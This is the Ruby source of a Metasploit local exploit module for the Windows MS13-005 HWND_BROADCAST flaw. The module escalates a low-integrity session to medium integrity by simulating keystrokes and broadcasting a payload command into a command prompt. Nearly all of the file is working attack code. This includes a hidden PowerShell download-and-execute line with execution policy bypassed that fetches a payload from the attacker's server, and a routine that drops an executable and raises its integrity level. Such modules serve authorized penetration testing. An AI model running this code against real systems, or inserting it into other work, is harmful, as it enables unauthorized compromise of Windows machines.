230 lines
7.9 KiB
Ruby
230 lines
7.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/exploit/exe'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::Powershell
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::FileDropper
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info,
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'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
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'Description' => %q{
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Due to a problem with isolating window broadcast messages in the Windows kernel,
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an attacker can broadcast commands from a lower Integrity Level process to a
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higher Integrity Level process, thereby effecting a privilege escalation. This
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issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and
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RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+#
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does not work in Vista, so the attacker will have to check if the user is already
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running a command prompt and set SPAWN_PROMPT false.
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Three exploit techniques are available with this module. The WEB technique will
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execute a powershell encoded payload from a Web location. The FILE technique
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will drop an executable to the file system, set it to medium integrity and execute
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it. The TYPE technique will attempt to execute a powershell encoded payload directly
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from the command line, but may take some time to complete.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tavis Ormandy', # Discovery
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'Axel Souchet', # @0vercl0k POC
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'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' =>
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[
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[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
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[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate'=> "Nov 27 2012",
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'References' =>
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[
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[ 'CVE', '2013-0008' ],
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[ 'MSB', 'MS13-005' ],
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[ 'OSVDB', '88966'],
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[ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
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]
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))
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register_options(
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[
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OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
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OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
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OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
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], self.class
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)
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end
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def low_integrity_level?
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tmp_dir = expand_path("%USERPROFILE%")
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cd(tmp_dir)
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new_dir = "#{rand_text_alpha(5)}"
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begin
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session.shell_command_token("mkdir #{new_dir}")
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rescue
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return true
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end
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if directory?(new_dir)
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session.shell_command_token("rmdir #{new_dir}")
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return false
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else
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return true
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end
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end
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def win_shift(number)
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vk = 0x30 + number
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bscan = 0x81 + number
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client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
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client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
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client.railgun.user32.keybd_event(vk, bscan, 0, 0)
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client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
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client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
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client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
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end
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def count_cmd_procs
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count = 0
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client.sys.process.each_process do |proc|
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if proc['name'] == 'cmd.exe'
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count += 1
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end
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end
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vprint_status("Cmd prompt count: #{count}")
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return count
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end
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def cleanup
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if datastore['SPAWN_PROMPT'] and @hwin
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vprint_status("Rehiding window...")
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client.railgun.user32.ShowWindow(@hwin, 0)
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end
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super
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end
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def exploit
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# First of all check if the session is running on Low Integrity Level.
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# If it isn't doesn't worth continue
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print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
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fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
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# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
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# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
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# integrity process can write.
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drop_to_fs = false
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if datastore['TECHNIQUE'] == 'FILE'
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payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
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begin
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tmp_dir = expand_path("%TEMP%")
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tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
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cd(tmp_dir)
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print_status("Trying to drop payload to #{tmp_dir}...")
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if write_file(payload_file, generate_payload_exe)
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print_good("Payload dropped successfully, exploiting...")
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drop_to_fs = true
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register_file_for_cleanup(payload_file)
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payload_path = tmp_dir
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else
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print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
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drop_to_fs = false
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end
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rescue ::Rex::Post::Meterpreter::RequestError
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print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
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drop_to_fs = false
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end
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end
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if drop_to_fs
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command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
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make_it(command)
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elsif datastore['TECHNIQUE'] == 'TYPE'
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if datastore['CUSTOM_COMMAND']
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command = datastore['CUSTOM_COMMAND']
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else
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print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload")
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command = cmd_psh_payload(payload.encoded)
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end
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make_it(command)
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else
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super
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end
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end
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def primer
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url = get_uri()
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download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
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command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
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make_it(command)
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end
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def make_it(command)
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if datastore['SPAWN_PROMPT']
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@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
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if @hwin == nil
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@hwin = client.railgun.user32.GetForegroundWindow()['return']
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end
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client.railgun.user32.ShowWindow(@hwin, 0)
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client.railgun.user32.ShowWindow(@hwin, 5)
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# Spawn low integrity cmd.exe
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print_status("Spawning Low Integrity Cmd Prompt")
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windir = client.fs.file.expand_path("%windir%")
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li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
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count = count_cmd_procs
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spawned = false
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print_status("Bruteforcing Taskbar Position")
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9.downto(1) do |number|
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vprint_status("Attempting Win+Shift+#{number}")
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win_shift(number)
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sleep(1)
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if count_cmd_procs > count
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print_good("Spawned Medium Integrity Cmd Prompt")
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spawned = true
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break
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end
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end
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client.sys.process.kill(li_cmd_pid)
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fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned
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end
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print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
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command.each_char do |c|
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print c if command.length < 200
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client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
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end
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print_line
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print_status("Executing command...")
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client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
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end
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def on_request_uri(cli, request)
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print_status("Delivering Payload")
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data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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end
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end
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